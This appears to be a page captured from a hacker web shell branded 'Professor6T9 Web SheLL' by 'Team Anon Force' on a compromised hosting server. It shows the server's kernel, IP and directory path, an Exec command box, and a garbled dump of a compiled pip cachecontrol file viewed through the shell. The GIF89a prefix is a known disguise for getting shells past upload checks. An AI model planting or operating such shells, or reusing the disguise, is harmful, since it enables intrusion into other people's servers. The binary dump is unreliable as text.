GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
pip
/
_vendor
/
cachecontrol
/
__pycache__
[ HOME ]
Exec
Submit
File Name : filewrapper.cpython-38.pyc
U ʗRej � @ s( d dl mZ d dlZG dd� de�ZdS )� )�NamedTemporaryFileNc @ sB e Zd ZdZdd� Zdd� Zdd� Zdd � Zddd�Zd d� Z d S )�CallbackFileWrappera Small wrapper around a fp object which will tee everything read into a buffer, and when that file is closed it will execute a callback with the contents of that buffer. All attributes are proxied to the underlying file object. This class uses members with a double underscore (__) leading prefix so as not to accidentally shadow an attribute. The data is stored in a temporary file until it is all available. As long as the temporary files directory is disk-based (sometimes it's a memory-backed-``tmpfs`` on Linux), data will be unloaded to disk if memory pressure is high. For small files the disk usually won't be used at all, it'll all be in the filesystem memory cache, so there should be no performance impact. c C s t ddd�| _|| _|| _d S )Nzrb+T)�delete)r �_CallbackFileWrapper__buf�_CallbackFileWrapper__fp�_CallbackFileWrapper__callback)�self�fp�callback� r ��/builddir/build/BUILDROOT/alt-python38-pip-22.2.1-2.el8.x86_64/opt/alt/python38/lib/python3.8/site-packages/pip/_vendor/cachecontrol/filewrapper.py�__init__ s zCallbackFileWrapper.__init__c C s | � d�}t||�S )Nr )�__getattribute__�getattr)r �namer r r r �__getattr__! s zCallbackFileWrapper.__getattr__c C sH z| j jd kW S tk r" Y nX z | j jW S tk rB Y nX dS )NF)r r �AttributeError�closed)r r r r �__is_fp_closed- s z"CallbackFileWrapper.__is_fp_closedc C sb | j rN| j�� dkrd}n*| j�dd� ttj| j�� dtjd��}| � |� d | _ | j�� d S )Nr � )�access) r r �tell�seek� memoryview�mmap�fileno�ACCESS_READ�close)r �resultr r r �_close>